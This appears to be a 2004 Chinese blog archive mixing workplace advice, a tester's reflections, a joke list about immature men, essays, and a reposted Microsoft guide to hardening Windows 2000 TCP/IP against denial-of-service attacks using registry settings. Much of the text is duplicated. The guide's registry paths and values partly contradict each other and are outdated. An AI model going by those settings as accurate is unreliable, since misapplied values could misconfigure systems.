十种老板不可追随
普天下打工的人,都有被老板挑来选去的相同经历。多伦多的华文媒体近日在总结了千千万万打工者的心酸经历后,提出以下十种老板不可追随。
一、没有成功经验的老板。如果你的老板经常沾沾自喜地说:“我经历过的事情太多了,像我这样垮下去又能站起来的人毕竟不多,我有我的独到之处。”这时你就应该怀疑自己的老板了,如果不是他有某些重大的缺点,他不会总是经历失败,一个没有成功经验的老板,又怎么能肯定下次一定会成功。
二、事必躬亲的老板。如果你的老板常说,“无论大事小事,我不经手就一定会出差错”,并引以为豪的话,你就应该想到,这位老板肯定留不住人。老板不问大小事都要亲自参与,他怎么能放心让下属独立工作?特别是在事必躬亲的老板不在场的时候,无法独立的下属“出错”的机会就更多。一个有创意、具备独立工作能力的人,绝不希望这样的老板常在身边唠叨。
三、朝令夕改的老板。这样的老板可能会不断地给你新指示,你花费许多时间策划的方案,老板可能在实行3天后取消,或者花费数月酝酿的一个计划,可能因为他一句话而宣布作废。这样的公司上上下下天天都会很忙,但大家忙的都是收拾残局、挖东墙补西墙。
四、喜新厌旧的老板。每个公司都会有几位“开国元老”,时间长了你会发现,这类员工大都在公司事业稳定之后被“杯酒释兵权”了。这类公司的员工流动率通常都会很高。
五、感情生活复杂的老板。这类老板往往喜欢雇用年轻漂亮的女员工,也喜欢用“感情”处理人际关系。你可以想象一个终日拈花惹草、绯闻不断,将最宝贵的时间都耗费在感情纠纷上的老板,是根本无法冷静地经营企业的。
六、鱼与熊掌都想兼得的老板。这类老板既要马儿跑,又要马儿不吃草,到头来二者都得不到。他们常常会因小而失大,既不知何所取,也不知何所舍。
七、多疑的老板。这样的老板所持的观念是人治胜过规章制度,这类公司通常没有上轨道的制度。如果你是一个部门主管,经常会在非工作时间接到老板的电话;如果你是基层员工,他也经常会对你表示不痛不痒的“关切”。跟着这样的老板工作,心理负担之重可想而知。
八、言行不一的老板。这类老板最常说的一句话就是:“赚这么多钱对我并没有什么意义。”实际上,利润是公司生存的惟一命脉,又何必加以否认呢?
九、爱听甜言蜜语的老板。一般说来,老板不可能听到批评还会心花怒放,但如果连善意的批评和宝贵的建议也听不进去,并因此影响了员工在公司的发展,则人人都会噤若寒蝉。
十、心胸狭窄的老板。这样的老板看不得员工的成长和发展,更不会创造条件让你事业有成。
星期四, 九月 16, 2004
合格测试人员的素质
在传统工业中,对测试人员的要求比起研发人员来往往要低很多。因为从系统的角度看,传统工业产品复杂度不高,一般都有可量化的标准和精确的测试仪器。测试人员只要开动仪器,读出读数就OK了。而在软件业,情况有所不同了。软件的复杂度非常之高,尚无标准的仪器可用,将来似乎也不会有。因此对软件测试人员的素质要求就非常高。业界也是逐渐认识到这一点的,甚至微软一开始都不重视测试。然而如今情况不同了,今年微软亚洲工程院找不到合格的测试人员还在网上吵了很久。不管如何,可见微软对测试人员的要求之高。
毕业前在学校里写软件,自己试两下就交差了。虽然心里知道肯定有很多问题,但实在没有精力去好好测一下。只是想着如果有多点时间,一定能做出一个高质量的软件。如今在公司专职作测试,才知道这是多么的不容易。时间不长,但也有些心得,写出来也算是对自己的测试:)。
作一个好的测试者,要有哪些素质呢?
1、责任心
未做事,先做人。做好任何工作,责任心都很重要,作测试尤其如此。毕竟测试者不是产品的拥有者,有时会想做不好是开发者的责任。测试没有强烈的成就感,也和测试长期得不到重视有关。作一个合格的测试人员,一定要明白自己的工作多么重要。
一个负责的测试者,不能简单地发现问题就推给开发人员。应该做的更多,要多次再现问题,给出问题发生的具体环境,是只在某个操作系统发生吗?使用的第三方软件是什么版本?等等,要给出最简单而明确的操作步骤,给出你认为一切有利于定位问题的信息。这样虽然增加了工作量,但可以帮助开发人员更快的解决问题,最后往往是节省了时间。
2、好奇心
为什么会这样?测试者应该常常这样问自己。比较正式的开发过程都会有需求文档和功能规格书,但是软件的复杂行为无法用文档完整的描述,也许软件的设计者从来没有想到自己的软件还可以这样用!所以,如果测试中遇到一些不清楚的地方一定要提出来,以便确认是否是个问题。
3、想象力
虽然有一定的逻辑方法来设计测试场景。但是如果软件太复杂,或者有太多的用户交互,往往无法简单遵循一定的规则来设计测试。而测试的可能是无限的,时间和资源有限的。如何用在有限的资源下更能好的测试是需要一定的想象力。想象一下:谁会使用软件?他们会这样使用?新手如何用?老手如何用?科技以人为本!能满足人的需求的软件是最好的。
4、路路通
工欲善其事,必先利其器。作为测试者,一定要掌握大量的工具。特别是企业级的软件,运行环境复杂。各种操作系统,各种语言平台,各种服务器,各种数据库,各种中间件,太多了!大规模开发时,开发人员往往只要负责有限几个模块,用到的东西很有限,所以一定是专家。但测试,特别是集成测试,要搭一个类似用户真实情况的环境。所以测试者一定要是一个杂家!也许你对某个方向的技术不如专家,但是在复杂环境中工作的能力一定要很强。所以,测试很有挑战性!
毕业前在学校里写软件,自己试两下就交差了。虽然心里知道肯定有很多问题,但实在没有精力去好好测一下。只是想着如果有多点时间,一定能做出一个高质量的软件。如今在公司专职作测试,才知道这是多么的不容易。时间不长,但也有些心得,写出来也算是对自己的测试:)。
作一个好的测试者,要有哪些素质呢?
1、责任心
未做事,先做人。做好任何工作,责任心都很重要,作测试尤其如此。毕竟测试者不是产品的拥有者,有时会想做不好是开发者的责任。测试没有强烈的成就感,也和测试长期得不到重视有关。作一个合格的测试人员,一定要明白自己的工作多么重要。
一个负责的测试者,不能简单地发现问题就推给开发人员。应该做的更多,要多次再现问题,给出问题发生的具体环境,是只在某个操作系统发生吗?使用的第三方软件是什么版本?等等,要给出最简单而明确的操作步骤,给出你认为一切有利于定位问题的信息。这样虽然增加了工作量,但可以帮助开发人员更快的解决问题,最后往往是节省了时间。
2、好奇心
为什么会这样?测试者应该常常这样问自己。比较正式的开发过程都会有需求文档和功能规格书,但是软件的复杂行为无法用文档完整的描述,也许软件的设计者从来没有想到自己的软件还可以这样用!所以,如果测试中遇到一些不清楚的地方一定要提出来,以便确认是否是个问题。
3、想象力
虽然有一定的逻辑方法来设计测试场景。但是如果软件太复杂,或者有太多的用户交互,往往无法简单遵循一定的规则来设计测试。而测试的可能是无限的,时间和资源有限的。如何用在有限的资源下更能好的测试是需要一定的想象力。想象一下:谁会使用软件?他们会这样使用?新手如何用?老手如何用?科技以人为本!能满足人的需求的软件是最好的。
4、路路通
工欲善其事,必先利其器。作为测试者,一定要掌握大量的工具。特别是企业级的软件,运行环境复杂。各种操作系统,各种语言平台,各种服务器,各种数据库,各种中间件,太多了!大规模开发时,开发人员往往只要负责有限几个模块,用到的东西很有限,所以一定是专家。但测试,特别是集成测试,要搭一个类似用户真实情况的环境。所以测试者一定要是一个杂家!也许你对某个方向的技术不如专家,但是在复杂环境中工作的能力一定要很强。所以,测试很有挑战性!
星期三, 九月 15, 2004
男人不成熟的35个标志
1、跟知己上床
2、跟网友见面
3、和情人结婚
4、把爱好当成职业
5、把同事当成朋友
7、在上司面前知无不言
8、轻信上司的许诺
9、喜怒哀乐都挂在脸上
10、在人堆里大声讲手机
11、头发油光可鉴, 皮鞋却满是灰尘
12、不会给自己找借口
13,习惯于给自己找借口
14、相信仅靠努力不靠运气和机遇就可以成功
15、总是幻想一夜暴富
16、自作多情,别人礼貌地夸上一句就晕菜
17、超车过去,看开着车有着窈窕背影的MM的脸
18、对MM的新衣服和新发型视而不见
19、始终学不会艺术地恭维MM
20、在感兴趣的MM面前吹嘘自己的魅力和艳遇
21、迷恋网络游戏和网上聊天
22、对MM的“不“字信以为真
23、指望前女友回心转意
24、介绍才结识的漂亮MM与英俊的光棍朋友相识
25、向老婆坦白从前的感情经历
26,向情人发誓很快和老婆离婚
27、介绍老情人和老婆交朋友
28、没有私房钱或是被老婆发现私房钱
29、在网络中期待一夜情!!!
30、靠抽烟来提升形像
31、打领带,衬衫里面露出内衣领子
32、喜欢染头发
33、开口闭口小资
34、模仿F4
35、喜欢“小燕子”
2、跟网友见面
3、和情人结婚
4、把爱好当成职业
5、把同事当成朋友
7、在上司面前知无不言
8、轻信上司的许诺
9、喜怒哀乐都挂在脸上
10、在人堆里大声讲手机
11、头发油光可鉴, 皮鞋却满是灰尘
12、不会给自己找借口
13,习惯于给自己找借口
14、相信仅靠努力不靠运气和机遇就可以成功
15、总是幻想一夜暴富
16、自作多情,别人礼貌地夸上一句就晕菜
17、超车过去,看开着车有着窈窕背影的MM的脸
18、对MM的新衣服和新发型视而不见
19、始终学不会艺术地恭维MM
20、在感兴趣的MM面前吹嘘自己的魅力和艳遇
21、迷恋网络游戏和网上聊天
22、对MM的“不“字信以为真
23、指望前女友回心转意
24、介绍才结识的漂亮MM与英俊的光棍朋友相识
25、向老婆坦白从前的感情经历
26,向情人发誓很快和老婆离婚
27、介绍老情人和老婆交朋友
28、没有私房钱或是被老婆发现私房钱
29、在网络中期待一夜情!!!
30、靠抽烟来提升形像
31、打领带,衬衫里面露出内衣领子
32、喜欢染头发
33、开口闭口小资
34、模仿F4
35、喜欢“小燕子”
婚姻需要门当户对吗
作家毕淑敏说的“婚姻鞋是否合适,脚知道。”这话不错!
鞋是否合脚,要选择的应是鞋的尺码肥瘦,与生产厂家没有关系。洋企业也好,土作坊也罢,生产出来的鞋总有各种不同的规格型号。生于上海的脚,离开了上海产的鞋就没有合脚的了么?
走惯了水泥路面的脚,其实同样也能走石板小路。或许还会因为踩上石板路的感觉而更加欢愉。
婚姻是否幸福,关键取决于婚姻中的两个当事人。人的修养、素质以及对婚姻、家庭的认识,并非人与生俱来的。能与他们的出身门户扯上多大关系呢?
个体差异才是最大的问题。就如同那脚本身,要是属先天畸形,那么它就才有必要去寻求门当户对的制造商订制。
鞋是否合脚,要选择的应是鞋的尺码肥瘦,与生产厂家没有关系。洋企业也好,土作坊也罢,生产出来的鞋总有各种不同的规格型号。生于上海的脚,离开了上海产的鞋就没有合脚的了么?
走惯了水泥路面的脚,其实同样也能走石板小路。或许还会因为踩上石板路的感觉而更加欢愉。
婚姻是否幸福,关键取决于婚姻中的两个当事人。人的修养、素质以及对婚姻、家庭的认识,并非人与生俱来的。能与他们的出身门户扯上多大关系呢?
个体差异才是最大的问题。就如同那脚本身,要是属先天畸形,那么它就才有必要去寻求门当户对的制造商订制。
九月
九月
秋踏着歌声而来,走在风中,是连心都要轻快得要飞起来的。任裙裾萦着轻舞,偶有落叶飘落在脚下,旋即又被吹走。四季总是不停流转,生命轮番变换。头上澄静的蓝天洁白的云昭示着又是晴朗的天气,没有热力的艳阳穿过浓密的榕树叶斑驳的洒下光与影,一步一步向前,象是踩着光阴的影子。想到遥远的家,在这清爽的秋,门前的紫荆该已经开了吧,粉白粉红粉紫,别有风情。待更深的秋,满街的姹紫嫣红,更是连空气都洋溢着甜蜜了。
转过不知名的街角,风中传来炒栗的香气。随处可买的粉红苹果,明黄梨子,靛紫葡萄,嫣红石榴。。。。。。光是缤纷的颜色,已是视觉上的极大享受。选择那么多,能拥有的,又有多少?是否,我们都象在河边玩耍着捡石子的孩童,在捡捡丢丢中不知不觉老去?
因着有缘,仿佛可以看到万水千山外的你,由那样青涩的少年,一路上跌跌碰碰走来,有过迷失,有过懦弱,有过挣扎,有过无尽的伤心与失望,然后,奋起,蜕变,到今天成熟稳重经得起万丈风浪的男儿。成长,在种种过程中。
找个有闲的日子,我们去放风筝吧。来到宽敞的草地,放下所有的矜持,尽情地迎风跑。风筝随风起了,放线,拉住,再放,再拉,大呼小叫,欢声笑语,肯定可以随风飘很远。看风筝翩翩,与蓝天白云共舞,与青水绿水长在。仰得脖子都酸了,放到线都尽了,才肯罢休。我们是谁的风筝,我们的心,是谁手上的线?我们,又是谁心中永不肯提及的伤痛?
日子,过得不是不快乐的,然,离幸福还有一步之遥。有爱,所以痛,有付出,所以淡忘。有得到,所以感恩。
行板如歌,且行且珍惜。
秋踏着歌声而来,走在风中,是连心都要轻快得要飞起来的。任裙裾萦着轻舞,偶有落叶飘落在脚下,旋即又被吹走。四季总是不停流转,生命轮番变换。头上澄静的蓝天洁白的云昭示着又是晴朗的天气,没有热力的艳阳穿过浓密的榕树叶斑驳的洒下光与影,一步一步向前,象是踩着光阴的影子。想到遥远的家,在这清爽的秋,门前的紫荆该已经开了吧,粉白粉红粉紫,别有风情。待更深的秋,满街的姹紫嫣红,更是连空气都洋溢着甜蜜了。
转过不知名的街角,风中传来炒栗的香气。随处可买的粉红苹果,明黄梨子,靛紫葡萄,嫣红石榴。。。。。。光是缤纷的颜色,已是视觉上的极大享受。选择那么多,能拥有的,又有多少?是否,我们都象在河边玩耍着捡石子的孩童,在捡捡丢丢中不知不觉老去?
因着有缘,仿佛可以看到万水千山外的你,由那样青涩的少年,一路上跌跌碰碰走来,有过迷失,有过懦弱,有过挣扎,有过无尽的伤心与失望,然后,奋起,蜕变,到今天成熟稳重经得起万丈风浪的男儿。成长,在种种过程中。
找个有闲的日子,我们去放风筝吧。来到宽敞的草地,放下所有的矜持,尽情地迎风跑。风筝随风起了,放线,拉住,再放,再拉,大呼小叫,欢声笑语,肯定可以随风飘很远。看风筝翩翩,与蓝天白云共舞,与青水绿水长在。仰得脖子都酸了,放到线都尽了,才肯罢休。我们是谁的风筝,我们的心,是谁手上的线?我们,又是谁心中永不肯提及的伤痛?
日子,过得不是不快乐的,然,离幸福还有一步之遥。有爱,所以痛,有付出,所以淡忘。有得到,所以感恩。
行板如歌,且行且珍惜。
九月(搞笑版)
九月(搞笑版)
秋踏着歌声而来,走在风中,是连心都要轻快得飞起来的。任裙裾萦着轻舞(按住,按住,好险,差点走光),偶有落叶飘落在脚下,旋即又被吹走。四季总是不停流转,生命轮番变换。头上澄静的蓝天洁白的云昭示着又是晴朗的天气,没有热力的艳阳穿过浓密的榕树叶斑驳的洒下光与影(“咚”,榕果打在头上,好痛噢),一步一步向前,象是踩着光阴的影子。想到遥远的家,在这清爽的秋,门前的紫荆该已经开了吧,粉白粉红粉紫的,别有风情。待更深的秋,满街的紫荆都开了,姹紫嫣红,更是连空气都洋溢着甜蜜了。
转过不知名的街角,风中传来炒栗的香气(叫小贩称了两斤,一摸,没带钱,收到白眼两颗)。触目可见,随处可买的粉红苹果,明黄梨子,靛紫葡萄,嫣红石榴。。。。。。,光是缤纷的颜色,已是视觉上的极大享受。选择那么多(SO MUCH LOVE,SO LITTLE TIME),能拥有的,又有多少?是否,我们都象在河边玩耍着捡石子的孩童于是,在捡捡丢丢(每次都以为看到钻石)的游戏中不知不觉老去?
因着有缘,仿佛可以看到万水千山外的你,由那样青涩的少年,一路上跌跌碰碰走来,有过迷失(看上隔壁班黑老大的PLMM),有过懦弱(黑老大的拳头孔武有力),有过挣扎(暗恋曝光,遭毒打),有过无尽的伤心与失望(PLMM跟个秃头凸肚的金山阿伯走后,和黑老大抱头痛哭),然后,奋起,蜕变,到今天成熟稳重经得起万丈风浪的男儿(十万丈就难说了)。成长,在种种过程中。
找个有闲的日子,我们去放风筝吧。来到宽敞的草地,放下所有的矜持,尽情地迎风跑(哎哟,谁家的狗那么没有公德心)。风筝随风起了,放线,拉住,再放,再拉,大呼小叫,欢声笑语,肯定可以随风飘很远。看风筝翩翩,与蓝天白云共舞,。仰得脖子都酸了,放到线都尽了,才肯罢休。我们是谁的风筝,我们的心,是谁手上的线?我们,又是谁心中永不肯提及的伤痛?
日子过得不是不快乐的,然,离幸福还有一步之遥。有爱,所以痛,有付出,所以淡忘。有得到,所以感恩。
行板如歌,且行且珍惜(夏克白,你敢不珍惜,本姑娘就把你的猪头砍下来当凳坐)。
秋踏着歌声而来,走在风中,是连心都要轻快得飞起来的。任裙裾萦着轻舞(按住,按住,好险,差点走光),偶有落叶飘落在脚下,旋即又被吹走。四季总是不停流转,生命轮番变换。头上澄静的蓝天洁白的云昭示着又是晴朗的天气,没有热力的艳阳穿过浓密的榕树叶斑驳的洒下光与影(“咚”,榕果打在头上,好痛噢),一步一步向前,象是踩着光阴的影子。想到遥远的家,在这清爽的秋,门前的紫荆该已经开了吧,粉白粉红粉紫的,别有风情。待更深的秋,满街的紫荆都开了,姹紫嫣红,更是连空气都洋溢着甜蜜了。
转过不知名的街角,风中传来炒栗的香气(叫小贩称了两斤,一摸,没带钱,收到白眼两颗)。触目可见,随处可买的粉红苹果,明黄梨子,靛紫葡萄,嫣红石榴。。。。。。,光是缤纷的颜色,已是视觉上的极大享受。选择那么多(SO MUCH LOVE,SO LITTLE TIME),能拥有的,又有多少?是否,我们都象在河边玩耍着捡石子的孩童于是,在捡捡丢丢(每次都以为看到钻石)的游戏中不知不觉老去?
因着有缘,仿佛可以看到万水千山外的你,由那样青涩的少年,一路上跌跌碰碰走来,有过迷失(看上隔壁班黑老大的PLMM),有过懦弱(黑老大的拳头孔武有力),有过挣扎(暗恋曝光,遭毒打),有过无尽的伤心与失望(PLMM跟个秃头凸肚的金山阿伯走后,和黑老大抱头痛哭),然后,奋起,蜕变,到今天成熟稳重经得起万丈风浪的男儿(十万丈就难说了)。成长,在种种过程中。
找个有闲的日子,我们去放风筝吧。来到宽敞的草地,放下所有的矜持,尽情地迎风跑(哎哟,谁家的狗那么没有公德心)。风筝随风起了,放线,拉住,再放,再拉,大呼小叫,欢声笑语,肯定可以随风飘很远。看风筝翩翩,与蓝天白云共舞,。仰得脖子都酸了,放到线都尽了,才肯罢休。我们是谁的风筝,我们的心,是谁手上的线?我们,又是谁心中永不肯提及的伤痛?
日子过得不是不快乐的,然,离幸福还有一步之遥。有爱,所以痛,有付出,所以淡忘。有得到,所以感恩。
行板如歌,且行且珍惜(夏克白,你敢不珍惜,本姑娘就把你的猪头砍下来当凳坐)。
星期二, 九月 14, 2004
如何强化 TCP/IP 堆栈
如何强化 TCP/IP 堆栈
发布日期: 09/02/2004 | 更新日期: 09/02/2004
pponline
改进 Web 应用程序安全性:威胁和对策
J.D. Meier、Alex Mackman、Michael Dunner、Srinath Vasireddy、Ray Escamilla 和 Anandha Murukan
Microsoft Corporation
请参阅着陆页以获得《改进 Web 应用程序安全性:威胁和对策》的起点和完整的概述。
摘要: 您可以在 Windows 注册表中配置各种 TCP/IP 参数,以便防止网络级拒绝服务的攻击,包括 SYN 洪水攻击、ICMP 攻击和 SNMP 攻击。您可以将注册表项配置为:
•
当检测到攻击时,启用 SYN 洪水保护。
•
设置用于确定攻击构成要素的阈值。
该方法文档为管理员展示了必须配置的注册表项和注册表值,以防止受到基于网络的拒绝服务攻击。
注 这些设置会修改 TCP/IP 在服务器上的工作方式。Web 服务器的特性将决定要触发拒绝服务对策的最佳阈值。有些值可能对您的客户端连接的限制非常严格。在部署到产品服务器之前,请先测试本文档的建议。
*
本页内容
预备知识 预备知识
防止 SYN 攻击 防止 SYN 攻击
防止 ICMP 攻击 防止 ICMP 攻击
防止 SNMP 攻击 防止 SNMP 攻击
AFD.SYS 保护 AFD.SYS 保护
其他保护 其他保护
缺陷 缺陷
其他资源 其他资源
预备知识
TCP/IP 是一种本质上不安全的协议。但是,Windows 2000 实现可以使您配置其操作以防止网络的拒绝服务攻击。默认情况下,本文中所涉及的一些项和值可能并不存在。在这些情况下,请创建该项、值或值数据。
有关 Windows 2000 的注册表所控制的 TCP/IP 网络设置的详细信息,请参阅白皮书“Microsoft Windows 2000 TCP/IP Implementation Details”,位于 http://www.microsoft.com/technet/itsolutions/network/deploy/depovg/tcpip2k.asp。
返回页首返回页首
防止 SYN 攻击
SYN 攻击利用 TCP/IP 连接建立机制中的安全漏洞。要发动 SYN 洪水攻击,攻击者要使用程序来发送大量的 TCP SYN 请求来填充服务器上挂起的连接队列。这将导致其他用户无法建立网络连接。
要防止网络受到 SYN 攻击,请遵循下列通用的步骤,这些步骤稍后将于本文档中进行解释:
•
启用 SYN 攻击保护
•
设置 SYN 保护阈值
•
设置其他保护
启用 SYN 攻击保护
启用 SYN 攻击保护的命名值位于下面的注册表项中: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
值名称:SynAttackProtect
建议值: 2
有效值: 0 - 2
说明: 引起 TCP 调整 SYN-ACKS 的重新传输。如果您配置这个值,当发生 SYN 攻击时,连接响应的超时速度会比较快。当超出 TcpMaxHalfOpen 或 TcpMaxHalfOpenRetried 的值时,便会触发 SYN 攻击。
设置 SYN 保护阈值
下列值确定要触发的 SYN 保护的阈值。本部分中的所有项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 中。这些项和值如下所示:
•
值名称:TcpMaxPortsExhausted
建议值: 5
有效值: 0-65535
说明: 指定 TCP 连接请求的阈值,必须超过该阈值才会触发 SYN 洪水保护。
•
值名称:TcpMaxHalfOpen
建议值数据: 500
有效值: 100-65535
说明: 启用 SynAttackProtect 时,该值会指定在 SYN_RCVD 状态下的 TCP 连接的阈值。超过 SynAttackProtect 时,便会触发 SYN 洪水保护。
•
值名称:TcpMaxHalfOpenRetried
建议值数据: 400
有效值: 80-65535
说明: 启用 SynAttackProtect 时,该值指定在 SYN_RCVD 状态下的 TCP 连接的阈值,其中至少已经进行了一次重新传输。超过 SynAttackProtect 时,便会触发 SYN 洪水保护。
设置其他的保护
本部分中的所有项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 中。这些项和值如下所示:
•
值名称:TcpMaxConnectResponseRetransmissions
建议值数据: 2
有效值: 0-255
说明: 对取消尝试响应 SYN 请求之前要重新传输 SYN-ACK 的次数进行控制+。
•
值名称:TcpMaxDataRetransmissions
建议值数据: 2
有效值: 0-65535
说明: 指定 TCP 在中止连接前,要重新传输单独数据片断(而并非连接请求片断)的次数。
•
值名称:EnablePMTUDiscovery
建议值数据: 0
有效值: 0, 1
说明: 将该值设置为 1(默认值)时,便会强制 TCP 在到远程主机的路径上找到最大传输单位或最大数据包大小。攻击者可能会强制数据包分割,造成堆栈负荷过重。将该值设置为 0 会强制不是本地子网的主机连接都使用 576 字节的 MTU。
•
值名称:KeepAliveTime
建议值数据: 300000
有效值: 80-4294967295
说明: 通过发送保持活动数据包,指定 TCP 尝试验证闲置连接是否仍然原封不动的频率。
•
值名称:NoNameReleaseOnDemand
建议值数据: 1
有效值: 0, 1
说明: 当计算机接收到名称释放请求时,指定不要释放计算机的 NetBIOS 名称。
请使用表 1 中总结的值来建立最大保护。
表 1 建议值
值名称 值 (REG_DWORD)
SynAttackProtect
2
TcpMaxPortsExhausted
1
TcpMaxHalfOpen
500
TcpMaxHalfOpenRetried
400
TcpMaxConnectResponseRetransmissions
2
TcpMaxDataRetransmissions
2
EnablePMTUDiscovery
0
KeepAliveTime
300000 (5 minutes)
NoNameReleaseOnDemand
1
返回页首返回页首
防止 ICMP 攻击
本部分中指定的值位于注册表项HKLM\System\CurrentControlSet\Services\AFD\Parameters 下
值:EnableICMPRedirect
建议值数据: 0
有效值: 0(禁用)、1(启用)
说明: 将该注册表值修改为 0 可以防止接收到 ICMP 重定向数据包时,创建代价高昂的主机路由。
请使用表 2 中总结的值来建立最大保护。
表 2 建议值
值名称 值 (REG_DWORD)
EnableICMPRedirect
0
返回页首返回页首
防止 SNMP 攻击
本部分中指定的值位于注册表项HKLM\System\CurrentControlSet\Services\Tcpip\Parameters 下。
值:EnableDeadGWDetect
建议值数据: 0
有效值: 0(禁用)、1(启用)
说明: 防止攻击者强制切换到次要网关
请使用表 3 中总结的值来建立最大保护。
表 3 建议值
值名称 值 (REG_DWORD)
EnableDeadGWDetect
0
返回页首返回页首
AFD.SYS 保护
下列项指定内核模式驱动程序 Afd.sys 的参数。Afd.sys 用于支持 Windows 套接字应用程序。本部分中的所有项和值都位于注册表项 HKLM\System\CurrentControlSet\Services\AFD\Parameters 中。这些项和值如下所示:
•
值:EnableDynamicBacklog
建议值数据: 1
有效值: 0(禁用)、1(启用)
说明: 指定 AFD.SYS 功能来有效抵御大量的 SYN_RCVD 连接。有关详细信息,请参阅“Internet Server Unavailable Because of Malicious SYN Attacks”,位于 http://support.microsoft.com/default.aspx?scid=kb;en-us;142641。
•
值名称:MinimumDynamicBacklog
建议值数据: 20
有效值: 0-4294967295
说明: 指定侦听终结点上允许的可用连接的最小数量。如果可用连接的数目低于该值,线程便会排入队列以创建其他的可用连接。
•
值名称: MaximumDynamicBacklog
建议值数据: 20000
有效值: 0-4294967295
说明: 指定可用连接再加上 SYN_RCVD 状态中的连接的总数的最大值。
•
值名称:DynamicBacklogGrowthDelta
建议值数据: 10
有效值: 0-4294967295
默认为存在: No
说明: 指定需要其他连接时将创建的可用连接数量。
请使用表 4 中所总结的值来建立最大保护。
表 4 建议值
值名称 值 (REG_DWORD)
EnableDynamicBacklog
1
MinimumDynamicBacklog
20
MaximumDynamicBacklog
20000
DynamicBacklogGrowthDelta
10
返回页首返回页首
其他保护
本部分中的所有项和值都位于注册表项 HKLM\System\CurrentControlSet\Services\Tcpip\Parameters 中。
保护筛选的网络详细信息
网络地址转换 (NAT) 用于筛选来自传入连接的网络。攻击者可以使用 IP 源路由来避开该筛选以确定网络拓扑。
值:DisableIPSourceRouting
建议值数据: 1
有效值: 0(转发所有数据包)、1(不转发源路由的数据包)、2(丢弃所有传入源路由的数据包)。
说明: 禁用 IP 源路由,发送方可以利用 IP 源路由来确定数据包通过网络时应该采用的路由。
避免接收分段的数据包
处理分段数据包的代价可能很高。虽然拒绝服务极少来自周边网络的内部,但是该设置可以防止分段数据包的处理。
值:EnableFragmentChecking
建议值数据: 1
有效值: 0(禁用)、1(启用)
说明: 防止 IP 堆栈接受分段的数据包。
不转发送往多主机的数据包
多主机可能会响应多播数据包,进而造成在网络中广泛传播的响应。
值:EnableMulticastForwarding
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 路由服务使用这个参数来控制是否要转发 IP 多播。该参数是由路由和远程访问服务创建的。
只有防火墙在网络间转发数据包
多主服务器不能在所连接的各个网络间转发数据包。防火墙是明显的例外。
值:IPEnableRouter
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 将该参数设置为 1 (true) 可使系统在所连接的各个网络间路由 IP 数据包。
掩码网络拓扑详细信息
使用 ICMP 数据包可以请求主机的子网掩码。公开该信息本身并无大碍;但是,多主机的响应可能会被用于构建内部网络的信息。
值:EnableAddrMaskReply
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 该参数控制计算机是否响应 ICMP 地址掩码请求。
请使用表 5 中总结的值来建立最大保护。
表 5 建议值
值名称 值 (REG_DWORD)
DisableIPSourceRouting
1
EnableFragmentChecking
1
EnableMulticastForwarding
0
IPEnableRouter
0
EnableAddrMaskReply
0
返回页首返回页首
缺陷
测试这些值的更改时,请根据您在生产中预期使用的网络卷来进行测试。这些设置会修改被认为是正常的阈值,而且偏离经过测试的默认值。如果各个客户端的连接速度差异很大,那么有些设置可能过于狭隘而无法稳定地支持客户端。
返回页首返回页首
其他资源
有关 TCP/IP 的其他详细信息,请参考下列资源:
•
有关强化 TCP/IP 堆栈的详细信息,请参阅 Microsoft 知识库文章 315669“How To:Harden the TCP/IP Stack Against Denial of Service Attacks in Windows 2000”。
•
有关 Windows 2000 TCP/IP 实现的详细信息,请参阅 Lee Davies 的“Windows 2000 TCP/IP Protocols and Services”(Microsoft Press 书籍)。
•
有关 Windows 2000 TCP/IP 实现的详细信息,请参阅 TechNet 网站上的“Microsoft Windows 2000 TCP/IP Implementation Details”,位于 http://www.microsoft.com/technet/itsolutions/network/deploy/depovg/tcpip2k.asp。
发布日期: 09/02/2004 | 更新日期: 09/02/2004
pponline
改进 Web 应用程序安全性:威胁和对策
J.D. Meier、Alex Mackman、Michael Dunner、Srinath Vasireddy、Ray Escamilla 和 Anandha Murukan
Microsoft Corporation
请参阅着陆页以获得《改进 Web 应用程序安全性:威胁和对策》的起点和完整的概述。
摘要: 您可以在 Windows 注册表中配置各种 TCP/IP 参数,以便防止网络级拒绝服务的攻击,包括 SYN 洪水攻击、ICMP 攻击和 SNMP 攻击。您可以将注册表项配置为:
•
当检测到攻击时,启用 SYN 洪水保护。
•
设置用于确定攻击构成要素的阈值。
该方法文档为管理员展示了必须配置的注册表项和注册表值,以防止受到基于网络的拒绝服务攻击。
注 这些设置会修改 TCP/IP 在服务器上的工作方式。Web 服务器的特性将决定要触发拒绝服务对策的最佳阈值。有些值可能对您的客户端连接的限制非常严格。在部署到产品服务器之前,请先测试本文档的建议。
*
本页内容
预备知识 预备知识
防止 SYN 攻击 防止 SYN 攻击
防止 ICMP 攻击 防止 ICMP 攻击
防止 SNMP 攻击 防止 SNMP 攻击
AFD.SYS 保护 AFD.SYS 保护
其他保护 其他保护
缺陷 缺陷
其他资源 其他资源
预备知识
TCP/IP 是一种本质上不安全的协议。但是,Windows 2000 实现可以使您配置其操作以防止网络的拒绝服务攻击。默认情况下,本文中所涉及的一些项和值可能并不存在。在这些情况下,请创建该项、值或值数据。
有关 Windows 2000 的注册表所控制的 TCP/IP 网络设置的详细信息,请参阅白皮书“Microsoft Windows 2000 TCP/IP Implementation Details”,位于 http://www.microsoft.com/technet/itsolutions/network/deploy/depovg/tcpip2k.asp。
返回页首返回页首
防止 SYN 攻击
SYN 攻击利用 TCP/IP 连接建立机制中的安全漏洞。要发动 SYN 洪水攻击,攻击者要使用程序来发送大量的 TCP SYN 请求来填充服务器上挂起的连接队列。这将导致其他用户无法建立网络连接。
要防止网络受到 SYN 攻击,请遵循下列通用的步骤,这些步骤稍后将于本文档中进行解释:
•
启用 SYN 攻击保护
•
设置 SYN 保护阈值
•
设置其他保护
启用 SYN 攻击保护
启用 SYN 攻击保护的命名值位于下面的注册表项中: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
值名称:SynAttackProtect
建议值: 2
有效值: 0 - 2
说明: 引起 TCP 调整 SYN-ACKS 的重新传输。如果您配置这个值,当发生 SYN 攻击时,连接响应的超时速度会比较快。当超出 TcpMaxHalfOpen 或 TcpMaxHalfOpenRetried 的值时,便会触发 SYN 攻击。
设置 SYN 保护阈值
